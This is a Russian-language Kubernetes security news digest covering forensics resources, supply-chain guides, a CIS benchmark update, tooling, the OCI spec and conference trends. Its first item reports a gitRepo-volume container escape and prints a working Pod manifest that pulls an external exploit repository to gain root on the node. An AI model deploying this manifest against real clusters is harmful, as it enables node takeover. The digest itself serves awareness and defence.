k8s (in)security

Исследователь безопасности из Google Imre Rad нашел способ побега из контейнера в Kubernetes через deprecated volumes (начиная с 1.11) – gitRepo. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type. Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git репозиторий и выставить gitRepo в манифесте:

apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/raesene/repopodexploit.git
      revision: main

Интересно, что данной проблеме не присвоили CVE, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях. Для того чтобы детальней ознакомиться с техническими подробностями уязвимостями советуем изучить статью Imre Rad – Sneaky write hook: git clone to root on k8s node. Также Rory McCune в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость

"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux (и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Статья How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security на базе Kubernetes в своей инфраструктуре. В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла. P.S. – все материалы используемые в статье доступны в репозитории тут. P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"

Наша команда Luntry очень любит тему observability и красивую визуализацию. И данный проект нас не оставил равнодушными! Речь идёт о проекте VpK, что является акронимом для Visually presented Kubernetes. В данном инструменте есть много и разных способов визуализации ресурсов в кластере! Подробнее о проекте можно узнать из документации. Отдельно обратите внимание на режим Security, который посвящен RBAC (и очень сильно напоминает rbac-tool).

Некоторое время назад мы уже писали про Cloud Threat Landscape и вот он обновился и там появился раздел Defenses. В данном разделе собраны защитные меры для противодействиям облачным атакам с кратким описанием и мапингом на D3FEND тактики. В общем, полезная вещь для систематизации своих знаний в данной области)

В конце апреля вышла новая версия CIS Kubernetes Benchmark под номером 1.9 для Kubernetes 1.27 – 1.29. Особо критических изменений в бенчмарке не было (их можно посмотреть в конце документа в разделе appendix): - автоматизировали проверки с 5.1.1 по 5.1.6 - в пунктах 1.1.13 и 1.1.14 были изменены названия (появился super-admin.conf – об этом мы рассказывали в одном из предыдущих постов) Конечно всякие Open Source инструменты, вроде kube-bench, уже обновили свои конфиги и поддерживают версию 1.9. Однако не стоит забывать о том, что такие инструменты не показывают полной и объективной картины происходящего на предмет соответствия кластера по CIS. Об этом кстати мы рассказывали в одном из прошлых вебинаров – "Соответствует ли ваш Kubernetes-кластер лучшим практикам?"

16 июля в 11:00 наша команда Luntry проведет webinar на тему «Ловим злоумышленников и собираем улики в контейнерах Kubernetes». Там мы рассмотрим следующие темы: – способы обнаружения злоумышленника в контейнерных окружениях; – какие подходы могут эффективно помочь в расследовании и реагировании на инциденты; – возможности Luntry, полезные для Incident Response: собрать артефакты для расследования и остановить злоумышленника. Регистрация на вебинар по ссылке.

Проект camblet это Kernel Space Access Control для Zero Trust Networking для организации fine-grained, zero-trust для идентификации нагрузок и контроля доступа, именно: - аутентификации - авторизации - шифрования Взаимодействия между нагрузками, которые могут быть запущены как в Kubernetes, так и просто на хосте вне контейнера! Инструмент был представлен в рамках доклада "Leveraging the Linux Kernel for Building a Zero-Trust Environment Without a Service Mesh" на прошедшей CloudNativeSecurityCon North America 2024. Пока проект, конечно, больше выглядит как PoC, но сам подход к реализации через ядро Linux, без sidecar очень интересен) В теме этого хотелось бы также напомнить про замечательный доклад "Все ли Service Mesh одинаковы полезны для ИБ?" от Максима Чудновского с БеКон 2024.

Относительно недавно Open Container Initiative (OCI) community представило новую версию OCI Image Spec v1.1.0. Одно из ключевых изменений в этой версии спецификации это добавление поддержки metadata artifacts. В artifacts можно хранить любую metadata, асоциированную с OCI image, а это – SBOM, signatures, attestations и vulnerability scanning reports. Помимо этого, в artifacts можно указать так называемаем non-containers artifacts: Helm Charts, Kubernetes manifest files, WASM modules, OPA bundles, Bicep files. P.S. – Azure Container Registry уже поддерживает OCI Image Spec v1.1.0.

26-27 июня прошел CloudNativeSecurityCon North America 2024. Большая часть слайдов с конференции уже доступна в разделе расписания. На мой взгляд это конференциям прям удалась по контенту - очень много всего интересного. За изучением материала провел практически все выходные) В этот раз даже не будем выделять какие-то презентации иначе их будет около 15! Если попытаться выделить какие-то основные трендовые мысли, то получится примерно следующее: - Вектор развития на ZeroTrust как с точки зрения сети, так и работы самих приложений - Безопасность AI/ML приложений и инфраструктур - Закрепление неэффективности сигнатурных подходов детектирование и переход к поведенческим - Важность сборов артефактов для расследования инцидентов в контейнерах - Прямолинейный ориентир на количество CVE не дает никакой пользы - Развитие Supply Chain Security за пределы классического SBOM в сторону Dynamic SBOM, VEX, моделей поведения P.S. Подсвечу всё-таки один доклад - "User Namespaces in Kubernetes: Security and Flexibility", который является идейным близнецом моего доклада "Linux user namespace в чертогах Kubernetes" с нашего БеКон 2024 ;)